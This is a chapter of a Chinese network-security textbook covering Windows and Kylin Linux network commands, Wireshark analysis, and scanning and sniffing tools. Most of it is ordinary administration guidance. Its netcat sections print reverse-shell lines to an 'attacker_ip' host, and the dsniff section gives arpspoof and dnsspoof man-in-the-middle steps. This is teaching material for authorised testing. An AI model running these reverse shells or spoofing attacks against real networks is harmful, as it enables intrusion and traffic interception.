第四章 网络攻防实操
4.1 Windows系统网络相关指令详解
Windows操作系统在日常运维和攻防实践中占据重要地位。熟练掌握其网络相关指令,能够快速诊断网络故障、发现异常连接、配置网络策略。本节将详细介绍Windows下最实用的网络命令及其使用技巧。
4.1.1 基础网络配置与状态查看
1. ipconfig
ipconfig是Windows中最基础的网络配置查看命令,用于显示当前TCP/IP网络配置信息。
- 基本用法 :直接输入ipconfig,显示所有网络适配器的IPv4地址、子网掩码和默认网关。
- 常用参数 :
- ipconfig /all:显示更详细信息,包括物理地址(MAC)、DHCP状态、DNS服务器、主机名等。
- ipconfig /release:释放当前DHCP分配的IP地址(仅适用于自动获取IP的网卡)。
- ipconfig /renew:重新向DHCP服务器申请IP地址。
- ipconfig /flushdns:清除本地DNS解析缓存。当网站域名解析异常时,首先尝试此命令。
示例 :当用户反馈无法访问某网站时,可先执行ipconfig /flushdns,再执行ipconfig /displaydns查看缓存内容,判断是否存在错误的DNS记录。
2. ping
ping是测试网络连通性的核心工具,通过发送ICMP回显请求并等待响应,判断目标是否可达及网络延迟。
- 基本用法 :ping<目标IP或域名>
- 参数详解:
-t``:``持续``ping``目标,直到手动停止(``Ctrl+C``)。用于长时间监测网络稳定性。-a``:``将目标``IP``解析为主机名。-n`` <``次数``>``:指定发送的回显请求次数(默认``4``次)。-l ``<``大小``>``:指定发送缓冲区大小(字节),可测试大包传输情况(例如``ping -l 1500测试``MTU``)。
示例 :ping -t 8.8.8.8可持续监测到外网的连通性;ping -n 100 -l 1000 192.168.1.1测试内网网关在1000字节包下的丢包率。
3. tracert
tracert(路由追踪)通过递增TTL值,显示数据包从本地到目标所经过的每一跳路由器。
- 基本用法 :tracert <目标IP或域名>
- 输出解读 :每一行代表一跳,包括该路由器的IP地址和三次探测的往返时间(RTT)。若显示
* * *,表示该路由器未响应ICMP(可能是防火墙过滤)。 - 常见应用 :当访问外部网站缓慢时,通过
tracert定位延迟增加的节点,判断是内部网络问题还是运营商链路问题。
4. pathping
pathping``结合了``tracert``和``ping``的功能,先追踪路径,再对每一跳进行统计,计算丢包率和延迟。
- 基本用法 :pathping <目标IP>
- 输出特点:命令执行分为两个阶段:第一阶段显示路径,第二阶段(可能需要几分钟)统计各跳的丢包率。此命令特别适合分析网络中丢包发生的具体位置。
5. route print
route print显示本机的IPv4和IPv6路由表,帮助理解数据包转发决策。
- 基本用法 :
route print - 路由表解读:包括网络目标(Network Destination)、网络掩码(Netmask)、网关(Gateway)、接口(Interface)和跃点数(Metric)。
- 添加 / 删除静态路由 :
- 添加:roote add <目标网络> mask <子网掩码> <网关IP> [metric <跃点数>]
- 永久添加(重启后生效):route -p add ...
- 删除:route delete <目标网络>
示例 :route add 10.10.0.0 mask 255.255.0.0 192.168.1.254使访问10.10网段的流量指向内网网关。
6. netsh
netsh(Network Shell)是强大的网络配置命令行工具,几乎可以管理所有网络相关设置。
- 查看接口 IP 配置 :netsh interface ip show config
- 修改静态 IP:
netsh interface ip set address "以太网" static 192.168.1.100 255.255.255.0 192.168.1.1
- 修改 DNS:
netsh interface ip set dns "以太网" static 114.114.114.114
- 启用 / 禁用接口:
netsh interface set interface "以太网" enabled
netsh interface set interface "以太网" disabled
netsh还支持将当前网络配置导出为脚本,便于批量部署。
4.1.2 网络连接与端口排查
1. netstat
netstat显示协议统计信息和当前TCP/IP网络连接。
- 常用参数组合 :
- netstat -an:以数字形式显示所有活动连接和监听端口,不进行域名解析,速度更快。
- netstat -ano:在
-an基础上增加进程PID,可定位哪个进程占用了特定端口。 - netstat -b:显示每个连接对应的可执行程序(需要管理员权限)。
典型应用:
- 查看80端口是否被占用:netstat -ano | findstr :80
- 发现异常外连:netstat -ano | findstr "ESTABLISHED"结合PID排查可疑进程。
2. telnet
telnet可用于测试TCP端口的连通性,是排查防火墙策略的常用手段。
- 启用 Telnet 客户端:Windows默认未安装,需在"控制面板"->"程序和功能"->"启用或关闭Windows功能"中勾选"Telnet客户端"。
- 基本用法 :telnet <目标IP> <端口>
- 如果端口开放且可达,窗口会变黑或显示连接信息(部分服务会返回欢迎语)。
- 如果连接失败,会提示"无法打开到主机的连接"。
注意:由于Telnet协议本身明文传输且不安全,仅建议用于临时端口测试,远程管理应使用SSH。
3. Test-NetConnection(PowerShell)
PowerShell中的Test-NetConnection(简称TNC)是一个更现代、更强大的连通性测试工具,支持多种测试类型。
- 基本用法 :Test-NetConnection <目标IP或域名>
- 常用参数 :
- -Port
<``端口``>:测试指定端口的连通性(类似telnet但更详细)。 - -TraceRoute:同时进行路由追踪。
- -InformationLevel Detailed:显示详细信息。
- -Port
示例:
Test-NetConnection www.baidu.com -Port 443 -TraceRoute
该命令会返回DNS解析结果、目标IP、指定端口是否开放、以及路由追踪信息。
4.1.3 网络服务与防火墙管理
1. sc
sc(Service Control)用于与服务控制管理器通信,可查询、启动、停止、配置服务。
- 常用操作 :
- 查询服务状态:sc query <服务名>
- 启动服务:sc start <服务名>
- 停止服务:sc stop <服务名>
- 配置服务启动类型:sc config <服务名> start= auto|demand|disabled(注意等号后必须有空格)
示例:sc query dhcp查看DHCP Client服务状态;sc stop wuauserv停止Windows Update服务。
2. net start / net stop
这是启动和停止Windows服务的简单命令,与sc start/stop功能类似。
- 基本用法 :net start <服务名>、net stop <服务名>
- 注意 :服务名可以使用
net start直接查看当前已启动的服务列表。
3. netsh advfirewall
netsh advfirewall用于高级防火墙配置,可完全替代图形界面。
- 查看当前防火墙状态 :netsh advfirewall show allprofiles
- 开启 / 关闭防火墙 :
- netsh advfirewall set allprofiles state on
- netsh advfirewall set allprofiles state off
- 添加入站规则(开放端口):
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
- 删除规则 :netsh advfirewall firewall delete rule name="Open Port 80"
- 导入 / 导出策略:便于批量部署。
4.1.4 远程管理与文件传输
1. net use
net use用于建立或断开网络共享连接,也可映射网络驱动器。
- 映射共享文件夹 :net use Z: \\server\share "密码" /user:"用户名",将共享目录映射为本地Z盘。
- 删除映射 :net use Z: /delete
- 查看当前连接 :net use
2. copy
利用copy命令结合网络路径,可在命令行中复制文件到共享位置。
- 示例 :copy C:\backup\data.zip \\192.168.1.100\share\
3. winrm
Windows远程管理(WinRM)是微软基于WS-Management协议的远程管理服务,允许远程执行命令和配置。
- 配置 WinRM :管理员权限下运行winrm quickconfig,按提示接受防火墙规则。
- 测试配置 :winrm identify -r:http://<远程IP>:5985
- 远程执行命令(需事先信任主机):
winrs -r:http://<远程IP> -u:<用户名> -p:<密码> ipconfig
4. mstsc
mstsc是远程桌面连接客户端,支持命令行参数实现快速连接和配置。
- 直接连接 :mstsc /v:<远程IP>
- 全屏模式 :mstsc /v:<远程IP> /f
- 指定分辨率 :mstsc /v:<远程IP> /w:1280 /h:720
- 使用配置文件 :mstsc "C:\config.rdp"
4.1.5 网络诊断与故障排查工具
1. nslookup
nslookup用于查询DNS记录,诊断域名解析问题。
- 交互模式 :直接输入
nslookup回车,进入交互环境,可连续查询多个域名。 - 非交互模式 :
nslookup <``域名``>,返回A记录和DNS服务器。 - 查询其他记录类型:
nslookup -type=mx <域名>
nslookup -type=ns <域名>
- 指定 DNS 服务器 :nslookup <域名> <DNS服务器IP>
2. arp
arp命令显示和修改地址解析协议(ARP)缓存,即IP地址与MAC地址的对应表。
- 查看缓存 :arp -a,显示所有接口的ARP条目。
- 删除特定条目 : arp -d <IP>,常用于清理错误的ARP记录。
- 静态绑定 (防止ARP欺骗):arp -s <IP> <MAC>,但静态绑定在Windows中需谨慎,可能导致网络切换后无法通信。
安全应用 :如果怀疑内网存在ARP欺骗,可以对比arp -a显示的网关MAC地址与真实网关MAC是否一致。
3. getmac
getmac获取本地或远程主机的MAC地址。
- 本地 MAC :直接输入getmac,显示所有网卡的物理地址和传输名称。
- 远程 MAC :getmac /s <远程IP> /u <用户名> /p <密码>,需管理员权限。
4. nbtstat
nbtstat显示基于NetBIOS的TCP/IP协议统计信息,用于排查名称解析问题。
- 常用参数 :
- nbtstat -n:显示本地注册的NetBIOS名称。
- nbtstat -c:显示NetBIOS名称缓存。
- nbtstat -R:清除名称缓存并重新加载。
- nbtstat -a <IP>:通过IP查询该主机的NetBIOS名称表(可能得到主机名、用户名等信息)。
5. netsh winsock reset
当网络连接出现异常(如无法上网但IP配置正确),可能是Winsock目录损坏。执行netsh winsock reset并重启计算机,可重置网络环境至初始状态。
4.2 银河麒麟Linux系统网络相关指令详解
银河麒麟(KylinOS)作为国产操作系统的代表,在信创领域广泛应用。其网络指令基于标准Linux,与CentOS、Ubuntu等发行版高度兼容。本节介绍银河麒麟环境下的网络管理和诊断指令。
4.2.1 基础网络配置查看与修改
1. ifconfig
ifconfig是传统的网络接口配置命令,虽然在新版Linux中已被ip命令取代,但在许多脚本和老系统中仍广泛使用。
- 查看接口信息 :ifconfig,显示所有激活接口的IP、MAC、收发数据包统计。
- 查看所有接口(包括未激活) :ifconfig -a
- 临时设置 IP :ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up
- 启用 / 禁用接口 :ifconfig eth0 up / ifconfig eth0 down
2. ip addr / ip link
ip是现代Linux网络配置的核心工具,功能强大。
- 显示地址信息 :ip addr show(简写ip a),清晰列出每个接口的IP地址。
- 添加 IP 地址 :ip addr add 192.168.1.100/24 dev eth0
- 删除 IP 地址 :ip addr del 192.168.1.100/24 dev eth0
- 管理接口状态 :ip link set eth0 up / ip link set eth0 down
3. route / ip route
路由管理命令。
- 查看路由表 :
- route -n:以数字形式显示路由表,不解析主机名。
- ip route show:更现代的路由查看方式。
- 添加默认网关 :route add default gw 192.168.1.1 或 ip route add default via 192.168.1.1
- 添加静态路由 :route add -net 10.0.0.0/24 gw 192.168.1.254 或 ip route add 10.0.0.0/24 via 192.168.1.254
4. hostname / hostnamectl
主机名管理。
- 查看主机名 :hostname
- 临时修改主机名 :hostname new-hostname
- 永久修改( systemd 系统) :hostnamectl set-hostname new-hostname
5. 配置文件
银河麒麟网络配置文件的存放位置取决于具体版本和网络管理方式:
- 传统 ifupdown 方式(/etc/network/interfaces):适用于Debian风格系统,银河麒麟早期版本可能使用。配置示例:
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 114.114.114.114
- Netplan 方式(/etc/netplan/):Ubuntu从18.04开始采用,银河麒麟某些版本也支持。YAML格式配置。
- NetworkManager (nmcli):许多桌面版麒麟使用NetworkManager管理网络,可通过
nmcli命令或图形界面配置。
6.nmcli
NetworkManager的命令行工具,功能全面。
- 查看连接状态 :nmcli device status
- 查看所有连接 :nmcli connection show
- 启用 / 禁用连接 :nmcli connection up "连接名" / nmcli connection down "连接名"
- 修改静态 IP(交互式):
nmcli connection modify eth0 ipv4.addresses 192.168.1.100/24
nmcli connection modify eth0 ipv4.gateway 192.168.1.1
nmcli connection modify eth0 ipv4.dns 114.114.114.114
nmcli connection modify eth0 ipv4.method manual
nmcli connection up eth0
4.2.2 网络连通性测试与诊断
1.ping
Linux下的ping默认持续发送直到手动停止(Ctrl+C),这与Windows的-t类似。
- 常用参数 :
-c`` <``次数``>:指定发送次数。-i`` <``间隔``>:指定发包间隔(秒)。-s`` <``大小``>:指定数据包大小。
示例 :ping -c 4 -s 1472 192.168.1.1测试大包能否通过(MTU检测)。
2.traceroute / tracepath
traceroute与Windows的tracert类似,但参数不同。
- 基本用法 :traceroute
<``目标``> - 常用选项 :
-I``:使用``ICMP Echo``而非``UDP``(更易通过防火墙)。-T``:使用``TCP SYN``(端口默认``80``)。-n``:不解析``IP``为域名。
- tracepath:更简单的路由追踪工具,无需root权限,但功能稍弱。
3.mtr
mtr(My Traceroute)结合了ping和traceroute,实时动态显示每一跳的丢包率和延迟。
- 安装 :sudo apt install mtr(麒麟使用apt或yum)
- 基本用法 :mtr <目标>
- 输出 :动态刷新,可观察网络质量变化。按
q退出,?查看帮助。 - 报告模式 :mtr -r -c 100
<``目标``>,发送100个包后生成报告。
4.telnet
与Windows下用法相同,用于测试TCP端口连通性。若提示命令未找到,安装telnet包即可。
5.nc ( netcat )
nc被誉为网络工具中的"瑞士军刀",功能极强。
- 测试端口 :nc -zv <目标IP> <端口范围>(-z:只扫描不发送数据,-v:显示详情)
- 传输文件 :
接收端:nc -l -p 1234 > received.zip发送端:nc <接收IP> 1234 < file.zip
- 反弹 shell (安全测试常用):
攻击端监听:nc -lvnp 4444目标机执行:nc <攻击IP> 4444 -e /bin/bash(某些版本需使用``-e``,现代``Linux``可能禁用,可使用管道替代)
6.curl / wget
这两个工具主要用于HTTP请求和文件下载,也常用于调试Web服务。
- curl :
发送``GET``请求:curl http://example.com发送``POST``数据:curl -X POST -d "user=admin&pass=123" http://example.com/login查看响应头:curl -I http://example.com使用代理:curl -x http://proxy:port http://example.com
- wget :
下载文件:wget http://example.com/file.zip递归下载网站:wget -r http://example.com
4.2.3 端口与服务查看
1.netstat
Linux下netstat同样用于查看网络连接和监听端口。
- 常用组合 :
netstat -tulnp-``t``:``TCP-u``:``UDP-l``:``仅显示监听套接字-n``:``以数字显示-p``:``显示进程``PID``和名称
示例 :netstat -tulnp | grep 80查看80端口被哪个进程占用。
2.ss
ss是netstat的现代替代品,更快、信息更丰富。
- 常用组合 :ss -tulnp,参数含义与
netstat类似。 - 显示所有连接 :ss -a
- 显示 TCP 连接统计 :ss -s
3.lsof -i
lsof列出打开的文件,网络连接也被视为文件,因此可用lsof -i查看网络相关信息。
- 查看特定端口 :lsof -i:80
- 查看特定 IP 的连接 :lsof -i@192.168.1.1
4.nmap
nmap是强大的端口扫描工具,本节仅作基础介绍,详细用法见4.4.1。
- 快速扫描 :nmap
<``目标``IP>,扫描1000个常用端口。 - 指定端口 :nmap -p 1-1000
<``目标``IP>
4.2.4 防火墙与网络安全配置
1.iptables
iptables是Linux内核防火墙的管理工具,规则按顺序匹配。
- 查看当前规则 :sudo iptables -L -n -v(-L列出,-n数字,-v详细)
- 查看 NAT 表规则 :sudo iptables -t nat -L -n
- 允许 SSH ( 22 端口) :sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
- 拒绝所有其他入站 :sudo iptables -P INPUT DROP(设置默认策略)
- 保存规则 (不同发行版命令不同,麒麟可能使用iptables-save > /etc/iptables/rules.v4)
2.firewalld
firewalld是动态防火墙管理工具,支持区域和服务概念,广泛用于RHEL/CentOS及部分麒麟服务器版。
- 查看状态 :sudo systemctl status firewalld
- 查看所有区域 :sudo firewall-cmd --list-all-zones
- 开放服务 :sudo firewall-cmd --add-service=http --permanent
- 开放端口 :sudo firewall-cmd --add-port=8080/tcp --permanent
- 重新加载配置 :sudo firewall-cmd --reload
3.ufw
ufw(Uncomplicated Firewall)是Ubuntu系列默认的前端,简化了iptables操作,麒麟桌面版也可使用。
- 启用 UFW :sudo ufw enable
- 允许 SSH :sudo ufw allow ssh
- 允许特定端口 :sudo ufw allow 8080/tcp
- 查看状态 :sudo ufw status verbose
4.2.5 DNS与域名解析
/etc/resolv.conf
此文件配置系统使用的DNS服务器。通常由网络管理工具自动生成,也可手动编辑。
- 示例内容:
nameserver 114.114.114.114
nameserver 223.5.5.5
1.nslookup
用法与Windows相同,需安装dnsutils包(sudo apt install dnsutils)。
2.dig
dig是功能更强大的DNS查询工具,提供详细信息。
- 基本查询 :dig baidu.com
- 查询特定记录 :dig baidu.com mx、dig baidu.com ns
- 指定 DNS 服务器 :dig @8.8.8.8 baidu.com
- 简短输出 :dig +short baidu.com
3.host
host命令提供简化的DNS查询。
- 基本用法 :host baidu.com,返回A记录和MX记录。
- 反向解析 :host 192.168.1.1,将IP解析为主机名。
4.2.6 网络抓包与简单分析
1.tcpdump
tcpdump是命令行下最强大的抓包工具,适用于服务器环境或无图形界面的系统。
- 基本用法 :sudo tcpdump -i eth0,抓取eth0接口上的所有流量。
- 常用选项 :
-i ``<``接口``>``:指定网络接口。-n``:不解析主机名和端口名,显示原始``IP``和端口。-w`` <``文件``>``:将原始包写入文件(``.pcap``格式)。-r`` <``文件``>``:读取并分析保存的包文件。-c`` <``数量``>``:抓取指定数量的包后停止。
- 过滤表达式 (与Wireshark捕获过滤器语法一致):
host 192.168.1.1``:只抓取与``192.168.1.1``通信的包。port 80``:抓取``HTTP``流量。tcp``:只抓``TCP``包。src 192.168.1.100``:抓取源``IP``为``192.168.1.100``的包。and``、``o``r``组合:``host 192.168.1.1 and port 80
示例 :sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.100 and port 443抓取与192.168.1.100的443通信并保存。
2.tshark
tshark是Wireshark的命令行版本,可分析pcap文件或实时抓包,支持Wireshark的显示过滤器语法。
- 安装 :sudo apt install tshark
- 读取 pcap 并过滤 :tshark -r capture.pcap -Y "http.request.method == GET"
- 实时抓包并统计 :tshark -i eth0 -z io,stat,1
4.3 Wireshark数据包分析工具详解
Wireshark是全球最流行的网络协议分析器,能够捕获并详细展示网络数据包的每一层信息。对于网络攻防人员,Wireshark既是故障排查利器,也是分析攻击流量的核心工具。
4.3.1 Wireshark概述与安装
Wireshark 的作用:
- 捕获网络接口上的实时数据包。
- 对数据包进行深入解析,显示协议字段。
- 支持强大的过滤和统计功能。
- 可用于网络故障排查、协议学习、安全事件取证。
适用场景:
- 排查网络延迟、丢包问题。
- 分析应用层协议(HTTP、DNS、SMTP等)交互过程。
- 检测异常流量(如扫描、恶意软件通信)。
- 从流量中提取文件、还原会话。
安装方法:
- Windows:从官网(https://www.wireshark.org/)下载安装包,一路"下一步"即可,注意安装时勾选"Install WinPcap"或"Npcap"(用于捕获驱动)。
- Linux (麒麟) :使用包管理器安装,如sudo apt install wireshark,安装过程中询问是否允许非root用户抓包,根据需求选择。
4.3.2 捕获网络流量
选择正确的网络接口: 启动Wireshark后,界面列出所有可用网络接口,包括有线网卡、无线网卡、虚拟网卡等。点击接口名称右侧的"开始捕获"按钮(鲨鱼鳍图标)。通常选择正在使用的接口(如以太网、WLAN)。
捕获过滤器( Capture Filter ): 捕获过滤器在开始抓包前设置,只抓取符合条件的包,不抓取不符合的包,可减轻抓包负担。语法基于BPF(Berkeley Packet Filter),常用示例:
|----------------------|-----------------------|
| 过滤表达式 | 说明 |
| host 192.168.1.1 | 抓取与192.168.1.1通信的包 |
| net 192.168.1.0/24 | 抓取整个网段 |
| port 80 | 抓取HTTP流量 |
| tcp port 443 | 抓取HTTPS流量 |
| not arp | 排除ARP包 |
| src 192.168.1.100 | 抓取源IP为192.168.1.100的包 |
| tcp | 仅TCP包 |
保存捕获文件 : 抓包过程中可随时停止,然后保存为.pcapng格式(Wireshark默认),也可导出为旧版.pcap。保存的文件可分享给他人或后续分析。
4.3.3 界面布局与基础操作
Wireshark主界面分为三个主要面板:
- 数据包列表(顶部):显示所有捕获的包,每行包含序号、时间、源IP、目的IP、协议、长度、信息摘要。
- 数据包详情(中部):展开显示选中包的协议层次结构,从物理层到应用层。
- 数据包字节(底部):以十六进制和ASCII形式显示原始数据。
颜色规则: Wireshark用不同颜色区分协议类型或特殊包(如TCP SYN包为浅紫色,ARP包为黄色)。可自行配置颜色规则。
时间显示格式: 默认显示捕获开始后的相对时间。可通过"视图"->"时间显示格式"调整,例如改为绝对时间(YYYY-MM-DD HH:MM:SS)或自参考包时间。
4.3.4 显示过滤器用法
显示过滤器是在抓包完成后,从已捕获的包中筛选出感兴趣的包。语法与捕获过滤器不同,功能更强大。
基本语法:
协议名:如http、tcp、ip字段名`` ``运算符`` ``值:如ip.addr == 192.168.1.1、tcp.port == 80- 比较运算符:
==、!=、>、<、contains、matches - 逻辑运算符:
and(&&)、or(||)、not(!)
常用显示过滤器示例:
|------------------------------------------------|----------------------|
| 过滤表达式 | 说明 |
| ip.addr == 192.168.1.1 | 显示涉及该IP的所有包(源或目的) |
| tcp.port == 80 | 显示源或目的端口为80的TCP包 |
| http.request.method == "GET" | 显示HTTP GET请求 |
| tcp.flags.syn == 1 and tcp.flags.ack == 0 | 显示TCP SYN包(三次握手第一个包) |
| dns.qry.name contains "baidu" | 显示DNS查询中包含"baidu"的包 |
| frame.len > 1000 | 显示长度大于1000字节的帧 |
保存常用过滤器:点击过滤器输入框右侧的"书签"图标,可将当前过滤器保存,便于下次快速使用。
表达式构建器:点击"表达式"按钮,可浏览所有协议字段,构建复杂过滤器。
4.3.5 数据包分析与统计
追踪流( Follow TCP/UDP 流): 在数据包列表中右键任意一个包,选择"追踪流"->"TCP流/UDP流",Wireshark会自动过滤出该连接的所有包,并按顺序显示客户端和服务器之间的完整数据(可切换为ASCII、十六进制等视图)。这对于还原HTTP会话、分析攻击载荷非常有用。
协议分级统计: 菜单"统计"->"协议分级",显示捕获文件中各协议的比例和包数,快速了解流量组成。
端点统计: "统计"->"端点",按IPv4、IPv6、以太网等列出通信端点,包括地址、发送/接收包数、字节数,可用于发现流量最大的主机。
会话统计:"统计"->"会话",列出所有通信对,显示双向流量统计。
流量图:"统计"->"流量图",可生成TCP流时序图,直观展示连接建立、数据传输、连接释放的过程。
4.3.6 实际案例分析
一、分析 HTTP 登录过程
- 在浏览器访问一个需要登录的网站(如测试环境),同时用Wireshark抓包。
- 使用过滤器
http,找到POST请求。 - 追踪该TCP流,查看客户端发送的POST数据,其中可能包含用户名、密码(如果网站未使用HTTPS)。
- 观察服务器返回的响应(如302重定向、Set-Cookie字段)。
二、分析 ARP 欺骗攻击
- 在内网中,如果怀疑存在ARP欺骗,抓取一段时间的数据。
- 使用过滤器
arp,查看所有ARP应答包。 - 正常ARP应答应来自网关的真实MAC。若发现同一IP对应多个MAC,或一个MAC地址频繁应答多个IP,则可能存在欺骗。
- 可通过
arp -a对比本机ARP缓存与抓包结果。
三、分析 TCP 三次握手与四次挥手
- 过滤器输入
tcp.flags.syn==1,找到发起连接的SYN包。 - 右键追踪流,查看完整三次握手过程:SYN → SYN+ACK → ACK。
- 连接结束时,过滤器输入
tcp.flags.fin==1,找到FIN包,观察四次挥手。
四、分析 DNS 查询与响应
- 过滤器
dns,显示所有DNS流量。 - 观察DNS查询包(标准查询)和响应包(包含解析结果)。
- 在响应包中展开DNS部分,可看到查询的域名、类型、TTL、解析出的IP地址。
4.3.7 安全应用
一、检测端口扫描行为
- SYN 扫描 :如果捕获到大量来自同一源IP、发往不同目的端口的TCP SYN包,且没有后续ACK,很可能是SYN扫描。过滤器:tcp.flags.syn==1 and tcp.flags.ack==0,统计源IP。
- 全连接扫描:完整的三次握手后立即RST断开,也是扫描特征。
二、从 HTTP 流中提取文件
Wireshark支持从HTTP流量中提取传输的文件(如图片、可执行文件)。菜单"文件"->"导出对象"->"HTTP",会列出所有通过HTTP传输的对象,可选择并保存到本地。这对于从恶意流量中提取样本非常有用。
三、识别恶意流量特征
- C2 心跳包:许多木马会定期向C2服务器发送固定长度、固定间隔的心跳包。通过Wireshark统计流量间隔,可发现异常规律。
- 加密矿池通信:某些挖矿木马使用特定协议(如Stratum)与矿池通信,虽然加密,但可通过目的IP和端口特征初步判断。
- DNS 隧道:DNS查询请求包异常大,或域名包含大量随机字符,可能是DNS隧道。
4.4 信息扫描嗅探工具详解
信息收集是网络攻防的第一步。扫描和嗅探工具帮助我们发现网络中的存活主机、开放端口、运行服务以及潜在漏洞。本节介绍Nmap、Zmap、Masscan等扫描工具以及dsniff等嗅探工具。
4.4.1 Nmap网络扫描器
Nmap(Network Mapper)是网络扫描的标杆工具,功能全面且扩展性强。
一、安装与基本用法
- Windows:下载安装包(https://nmap.org/download.html),包含命令行和图形前端Zenmap。
- Linux (麒麟) :sudo apt install nmap 或 sudo yum install nmap
- 基本用法 :
nmap <``目标``>,目标可以是IP、域名、网段(如192.168.1.0/24)。
二、扫描类型详解
Nmap支持多种扫描技术,以绕过防火墙或获取更准确信息。
|----------------|-------|----------------------------------|-----------------------------|
| 扫描 类型 | 命令 选项 | 原理 | 特点 |
| TCP SYN 扫描 | -sS | 发送SYN包,若收到SYN+ACK则端口开放,再发送RST断开。 | 半开扫描,速度快,不易被应用日志记录,需root权限。 |
| TCP Connect 扫描 | -sT | 完成完整三次握手,然后断开。 | 无需root权限,但会被目标记录日志。 |
| UDP扫描 | -sU | 发送UDP包,若收到ICMP端口不可达则关闭,否则可能开放。 | 速度慢,需结合其他技术。 |
| FIN扫描 | -sF | 发送FIN包,开放端口无响应,关闭端口返回RST。 | 用于绕过无状态防火墙。 |
| NULL扫描 | -sN | 发送无标志TCP包,同FIN。 | 类似FIN。 |
| Xmas扫描 | -sX | 发送FIN、URG、PUSH包,同FIN。 | 类似FIN。 |
| Ping扫描 | -sn | 只进行主机存活探测(ICMP、TCP、ARP),不扫描端口。 | 快速发现网络中活跃主机。 |
三、端口指定
-p <``端口范围``>:如-p 1-1000、-p 80,443,8080-p-:扫描所有65535个端口(速度慢)-F:快速扫描(仅100个常用端口)
四、服务版本探测
-sV:对开放端口进行服务版本探测,通过发送特定探测包分析响应,识别服务类型和版本(如Apache 2.4.41)。
五、操作系统指纹识别
-O:通过分析IP包TTL、窗口大小等特征猜测操作系统类型和版本。
六、脚本引擎( NSE )
Nmap的脚本引擎(NSE)支持使用Lua脚本进行漏洞检测、服务枚举、登录破解等。
- 常用脚本分类 :
vuln:检测常见漏洞。auth:检测认证相关。brute:暴力破解。discovery:服务发现。
- 使用脚本 :--script
=<``脚本名或分类``>,如--script=vuln运行所有漏洞检测脚本。 - 指定脚本参数 :--script-args
=<``参数``>
示例:
- 检测SMB漏洞:nmap -p 445 --script smb-vuln* <目标>
- 枚举MySQL信息:nmap -p 3306 --script mysql-info <目标>
七、输出格式
-oN`` <``文件``>:标准输出保存。-oX`` <``文件``>:XML格式,便于程序解析。-oG`` <``文件``>:Grepable格式,方便grep过滤。
4.4.2 Zmap与Masscan(高速扫描)
对于大规模网络扫描(如全互联网扫描),Nmap速度太慢,需要使用Zmap或Masscan。
1.Zmap
Zmap是专门为单端口全网扫描设计的工具,可在45分钟内扫描整个IPv4地址空间的指定端口。
- 原理:无状态扫描,不维护连接状态,通过自适应发包速率实现高速扫描。
- 基本用法 :zmap -p 443 -o results.csv 0.0.0.0/0(扫描全网443端口,结果保存)
- 适用场景:寻找特定服务的开放主机(如SSH、HTTP),用于安全研究或互联网普查。
2.Masscan
Masscan号称"最快的互联网端口扫描器",比Zmap更快,且支持多端口扫描和类似Nmap的参数风格。
- 特点 :
- 可扫描全端口或指定端口范围。
- 支持自定义发包速率(
--rate)。 - 输出格式兼容Nmap。
- 基本用法 :
- 扫描B段(192.168.0.0/16)的80和443端口:masscan 192.168.0.0/16 -p80,443 --rate=10000
- 扫描全网80端口:masscan 0.0.0.0/0 -p80 --rate=1000000
注意:高速扫描可能被目标网络视为攻击,且对自身网络带宽和出口设备造成压力,务必在授权环境中使用。
4.4.3 嗅探工具:tcpdump与dsniff
1.tcpdump 高级用法
tcpdump除基本抓包外,还可结合复杂过滤器和脚本进行分析。
- 抓取特定流量并实时分析:
sudo tcpdump -i eth0 -nn -s0 -A 'tcp port 80 and (tcp[((tcp[12] & 0xf0) >> 2):4] = 0x504f5354)'
该命令抓取HTTP POST请求(匹配"POST"字符串)。
- 从 pcap 中提取会话 :结合
tshark或strings可提取可读内容。
2.dsniff 套件
dsniff是一组强大的网络嗅探和中间人攻击工具,需在Kali等渗透测试发行版中预装(或自行编译)。
- arpspoof :执行ARP欺骗,实现中间人。
- 开启IP转发:echo 1 > /proc/sys/net/ipv4/ip_forward
- 欺骗目标:arpspoof -i eth0 -t <目标IP> <网关IP>
- 同时欺骗网关:arpspoof -i eth0 -t <网关IP> <目标IP>(需两个窗口)
- dnsspoof :伪造DNS响应,将特定域名指向恶意IP。
- 准备hosts文件(格式:<伪造IP> <域名>)
- 执行:dnsspoof -i eth0 -f hosts
- urlsnarf :嗅探HTTP请求中的URL并实时显示。
- urlsnarf -i eth0
- msgsnarf:嗅探即时通讯消息(如MSN、Yahoo Messenger)。
3. 防御检测方法 :
- 在交换机上启用DAI(动态ARP检测)。
- 使用ARP防火墙,监控ARP缓存变化。
- 加密通信(HTTPS、SSH)可防止内容被嗅探。
4.4.4 路由探测与拓扑发现
1.traceroute / tracert
如前所述,用于路径发现。
2.mtr
实时监测路径质量。
3. 使用 Nmap 绘制网络拓扑
Nmap的--traceroute选项可在扫描时进行路由追踪,并结合脚本生成拓扑。
- 示例 :nmap -sn --traceroute 192.168.1.0/24,探测该网段所有主机并追踪路径。
- 生成图形拓扑 :结合
ndiff或第三方工具(如Zenmap的拓扑视图)。
4.4.5 网络测试工具:NetCat
一、 功能概述
NetCat(nc)被誉为"网络瑞士军刀",可读写网络连接,常用于端口测试、文件传输、反向Shell等。
二、常见用途(授权环境)
1. 端口连通性测试:
nc -zv target.com 80 # 测试80端口是否开放
nc -zv 192.168.1.1 1-100 # 扫描1-100端口(类似简单端口扫描)
2. 简易文件传输:
接收端(在目标机器上):nc -l -p 1234 > received.zip
发送端:nc sender_ip 1234 < file.zip
3. 简易聊天:
监听端:nc -l -p 4444
连接端:nc listener_ip 4444,双方可互发消息(按Ctrl+C结束)。
4. 反向 Shell 测试(在渗透测试中验证漏洞):
攻击机监听:nc -lvnp 4444
目标机执行(若存在命令注入):
nc attacker_ip 4444 -e /bin/bash # Linux
nc.exe attacker_ip 4444 -e cmd.exe # Windows
5. 常用参数
-l:监听模式。
-p:指定本地端口。
-v:显示详细信息。
-n:不进行DNS解析。
-z:只扫描端口,不发送数据(用于测试)。
-e:指定连接后执行的程序(危险功能,通常被编译时禁用)。
6. 合规要求
严禁未授权使用:反向Shell功能可能被恶意利用,只允许在测试环境或应急响应中使用。
日志记录:使用NetCat进行网络测试时,应记录操作目的和范围。
环境隔离:测试应在隔离的测试网络中进行,避免影响生产环境。
4.5 网络注入攻击工具详解
